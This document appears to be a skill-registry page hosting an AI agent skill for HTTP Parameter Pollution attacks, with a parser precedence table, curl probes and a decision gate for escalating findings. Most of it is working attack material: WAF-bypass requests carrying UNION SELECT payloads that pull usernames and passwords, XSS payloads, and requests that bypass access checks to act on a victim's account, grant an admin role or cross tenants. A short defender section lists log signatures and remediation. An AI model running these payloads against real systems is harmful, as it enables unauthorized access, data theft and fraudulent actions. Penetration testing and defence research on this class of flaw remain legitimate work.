# Hpp

> HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

- Skill: `purpleailab/hpp` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/hpp`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/hpp/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/hpp

---


# HTTP Parameter Pollution (HPP)

Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter **differently**. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.

## 1. Parser precedence table

When `?id=1&id=2` (or duplicated body params) is received:

| Stack | `request.GET['id']` / equivalent | `getParameterValues` / list view |
|---|---|---|
| PHP (`$_GET`) | **last** wins (`2`) | `$_GET['id[]']` only; otherwise the dup is dropped |
| ASP.NET (`Request.QueryString["id"]`) | **comma-concatenated** (`"1,2"`) | `GetValues` returns both |
| ASP Classic | **comma-concatenated** | — |
| Java Servlet (`getParameter`) | **first** (`1`) | `getParameterValues` returns both |
| Java Spring `@RequestParam String` | **first** | `List<String>` binds both |
| Node.js `qs` (Express default) | **array** (`["1","2"]`) | n/a |
| Node.js `querystring` (legacy) | **array** | n/a |
| Python Flask `request.args.get` | **first** | `getlist` returns both |
| Python Django `request.GET['id']` | **last** | `getlist` returns both |
| Python `urllib.parse.parse_qs` | **list** (`["1","2"]`) | — |
| Ruby on Rails | **last** | `params[:id]` is the last; arrays via `id[]=` |
| Go `net/http` `r.URL.Query().Get` | **first** | `["id"]` returns all |
| Perl CGI `param("id")` | **first** in scalar, **list** in list context | — |
| nginx `$arg_id` | **first** | — |
| Apache mod_rewrite `%{QUERY_STRING}` | raw — passes both | — |
| AWS API Gateway → Lambda proxy | **last** in `queryStringParameters`, all in `multiValueQueryStringParameters` | — |
| Cloudflare WAF | inspects **all** values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |

The exploitable pattern: **WAF/proxy reads value A, app reads value B**.

## 2. Detection

```bash
# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'

# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300

# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'

# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2"           # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2"          # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"  # body dup
```

Reflection check — does the response echo `1`, `2`, `1,2`, or `["1","2"]`? That literally fingerprints the stack.

```bash
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
  echo "== $pair =="
  curl -s "http://<TARGET>/echo?$pair"
  echo
done
```

## 3. WAF bypass via duplicate parameters

The WAF inspects one occurrence; the app concatenates / picks the other.

```bash
# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=1" \
  --data-urlencode "q=UNION SELECT user,password FROM users--"

# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=harmless" \
  --data-urlencode "q=<svg/onload=alert(1)>"

# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
  --data-urlencode "host=' OR 1=1--" \
  --data-urlencode "host=8.8.8.8"
```

Mixed source confusion — GET vs POST:

```bash
# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'role=admin'
```

## 4. Server-side HPP — auth / ACL bypass

The auth layer evaluates one value; the controller acts on another.

```bash
# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.

# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
  -d 'role=user&username=x&role=admin'

# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER"
```

## 5. Client-side HPP

User-supplied parameter is **re-emitted into a link or redirect** without re-encoding `&`.

```
Vulnerable template:  <a href="/proxy?url=USER_INPUT&action=read">
Payload:              USER_INPUT = http://x.tld?evil=1
Rendered link:        /proxy?url=http://x.tld?evil=1&action=read
Server sees:          url=http://x.tld?evil=1   AND   action=read     (still benign)

Now payload: USER_INPUT = http://x.tld?evil=1&action=delete
Rendered link:        /proxy?url=http://x.tld?evil=1&action=delete&action=read
Server (first-wins):  action=delete   ← attacker controls flow despite "&action=read" being hard-coded
```

```bash
# Probe — pass a payload containing & and look for it un-encoded in the response HTML
curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head
```

## 6. Injection delivery

```bash
# Split SQLi payload across two values to bypass per-value length / pattern checks
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=' UNION SELECT 1,2,3--" \
  --data-urlencode "q=' UNION SELECT username,password,3 FROM users--"
# .NET concatenation → final value contains both fragments joined by ","

# Carry an XSS payload past a regex that only checks one occurrence
curl -G "http://<TARGET>/view" \
  --data-urlencode "name=harmless" \
  --data-urlencode "name=<img src=x onerror=alert(1)>"
```

## 7. Tools

- **Burp Param Miner** — finds hidden / undocumented params, reflects, dup-detection.
- **HTTPParameterPollution** Burp extension — generates dup-permutations.
- **wfuzz / ffuf** — fuzz with `-z list,1-2-1,1` to inject duplicate keys.
- **sqlmap** `--param-del=';'` `-p 'q'` `--skip-urlencode` — for separator-style HPP.
- Hand-rolled Python: `requests.PreparedRequest` lets you pass a list of tuples to keep order: `[("id","1"),("id","2")]`.

## 8. Detection signatures (defenders)

| Signal | Source |
|---|---|
| Two `id=` (or any key) per request line | access logs, request audit |
| WAF rule fired on one occurrence, request still 200 | WAF + app log correlation |
| `?key[]=` or `;key=` patterns | nginx / Apache logs |
| ASP.NET request that concatenates user input into `"1,2"` and forwards to a backend | app trace |
| Differential outcome on `?a=1&a=2` vs `?a=2&a=1` | active monitoring probe |

Remediation: canonicalize duplicates **before** auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding `&` and `=`.

## 9. Decision gate

| Observation | Action |
|---|---|
| Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain |
| Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity |
| Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research |
| Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF |

## Cross-references

- WAF bypass payload obfuscation: `skills/standard/exploit/web/waf-bypass/SKILL.md`
- SQLi chain: `skills/standard/exploit/web/sqli/SKILL.md`
- BFLA / IDOR via param shadowing: `skills/standard/exploit/web/bfla/SKILL.md`
- HTTP smuggling (related parser-discrepancy class): `skills/standard/exploit/web/smuggling/SKILL.md`

